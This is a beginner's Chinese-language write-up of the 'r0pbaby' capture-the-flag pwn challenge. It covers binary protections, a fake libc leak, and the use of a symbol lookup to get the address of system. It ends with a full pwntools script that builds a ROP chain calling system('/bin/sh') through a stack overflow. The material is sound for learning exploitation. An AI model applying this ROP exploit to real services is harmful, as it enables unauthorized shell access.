r0pbady0
题目:r0pbady0基础学pwn的第二天,昨天一天自学了一些汇编基础基础在了解简单的r0p原理之后决定尝试亲手做一道pwn题(不查wp)如题所示一道简答的r0p签到题,据学长说,小组所有人pwn入门的第一个例子思路
* checksec:
一个行x64开启了nx、pie以及FORTIFY(做一个简单的缓冲区溢出保护)
* 正常运行,有个流程:
题目充满了嘲讽: * 获取libc * 获取libc方法的地址 * 向栈中写入小于1024个数据 * 退出
* IDA看一波,了解一下具体细节
这是main函数选项三模块中出现的高危函数。的栈位置是esp+0,nptr的大小是1088,v8是我们可以控制写入的数据量的多少。可以看一下流程,选着3第一次 输入一个从向复制字符数量的多少第二次 输入具体字符串到这里我们就可以控制了一个ret,接下来就可以为所欲为了 功能1可以获取libc
在执行功能1的时候用gdb验证了一下
vmmap
我们在这里发现,1给我们的地址根本不在其内存中加载的地址(执行与查看内存表均在一个次运行中)1是个假的libc地址
我们来看看选项二
这个是可以利用的,我们现在可以控制一个ret,可以获得system函数
只需要控制bin/sh的参数就可以了
/bin/sh 在libc中是存在的,我们现在,只需要寻找pop rdi就可以了
在x64中前六个参数顺序保存在RDI,RSI,RDX,RCX,R8和R9寄存器里
system("/bin/sh")
我们分别在libc文件和elf文件都找到了pop rdi ret,elf文件中因为地址偏移不确定,所以不能使用
但是这些地址都是静态的,我们还需要计算一下libc的偏移,在这就不多做解释。
我们现在开始写exp
from pwn import *
sh =process('./r0pbaby')
elf = ELF("libc.so.6")
sh.sendlineafter(':','2')
sh.sendlineafter(':','system')
sh.recvuntil("Symbol system:")
system_addr = sh.recvline()
system_addr = int(system_addr,16)
print system_addr
base = system_addr - elf.symbols['system']
bin_sh = 0x1b3e9a + base
pop_rdi_ret = 0x02155f + base
ret_addr = 0x8aa + base
sh.sendlineafter(':','3')
payload = 'a'*8 + p64(pop_rdi_ret) +p64(bin_sh)+p64(ret_addr) +p64(system_addr)
sh.sendlineafter('):',str(len(payload)))
sh.sendline(payload)
sh.interactive()
需要强调一下:exp中标红的一个参数,其实是不需要的(在ubuntu16.04版本中亲测不需要),但是出现了栈对齐问题,所以需要加一个exp,在本章节中不在赘述
/图片丢了,不太影响阅读/
白茶清欢无别事,我在等风也等你。

浙公网安备 33010602011771号